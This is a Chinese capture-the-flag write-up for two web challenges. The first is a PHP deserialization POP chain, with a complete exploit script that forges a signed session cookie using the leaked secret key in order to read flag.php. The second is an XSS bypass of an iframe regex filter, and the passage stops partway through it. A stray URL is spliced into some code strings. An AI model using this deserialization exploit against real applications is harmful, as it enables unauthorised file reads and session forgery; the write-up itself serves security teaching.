题目是一个类似于抽卡的网站,描述里面说”r4u用git部署到了自己的服务器上”,那么自然而然Githack把源码hack下来。
在simulator.php我们可以看到有很多类,其中第146行
class Eeeeeeevallllllll{ public $msg=http://www.52bug.cn/hkjs/"坏坏liki到此一游"; public function __destruct() { echo $this->msg; } }有一个echo操作,那么我们全局搜索__toString。第93行:
class CardsPool{ …… public function __toString(){ return file_get_contents($this->file); } }pop链很明确,就看如何触发反序列化了。
第137行Session::extract():
public function extract($session){ $sess_array = explode(".", $session); $data = base64_decode($sess_array[0]); $sign = base64_decode($sess_array[1]); if($sign === md5($data . self::secret_key)){ $this->sessiondata = unserialize($data); }else{ unset($this->sessiondata); die("go away! you hacker!"); }他会把session的.前面的内容反序列化,并且会做一个加盐的判断,但是密钥在103行已经给了
const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";那么我们可以编写一个exp:
<?php class Eeeeeeevallllllll { public $msg = 'a'; } class CardsPool { public $cards; private $file = 'flag.php'; } $pop = new Eeeeeeevallllllll(); $pop->msg = new CardsPool(); //echo serialize($pop); $key = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9"; $sign = md5(serialize($pop).$key); $payload = base64_encode(serialize($pop)).'.'.base64_encode($sign); echo $payload; /* $sess_array = explode(".", $payload); $data = base64_decode($sess_array[0]); echo $data," "; $sign = base64_decode($sess_array[1]); echo $sign," "; if($sign === md5($data . $key)){ unserialize($data); }else{ echo $sign; die("go away! you hacker!"); } */发送session即可得到flag
Post to zuckonit2.0
考点:XSS
网站是一个创建笔记的站点,存在XSS漏洞
在/static/www.zip给了源码:source.zip
和week2的XSS比起来多一个功能,可以替换批量字符串,并且在/preview查看替换的结果
审计源码,在添加留言的存在一个waf:
跟进函数:
def escape_index(original): content = original content_iframe = re.sub(r"^(<?/?iframe)s+.*?(src=["'][a-zA-Z/]{1,8}["']).*?(>?)$", r" ", content)#只留src属性 if content_iframe != content or re.match(r"^(<?/?iframe)s+(src=["'][a-zA-Z/]{1,8}["'])$", content): return content_iframe else: content = re.sub(r"<*/?(.*?)>?", r"", content) return content可以看到只允许我们添加类似于<iframe src="http://www.52bug.cn/hkjs/xxx" >的标签,并且xxx限制在1-8位,显然没办法直接执行JS。
不过我们可以添加<iframe src="/preview " >来使得index能直接看到/preview页面: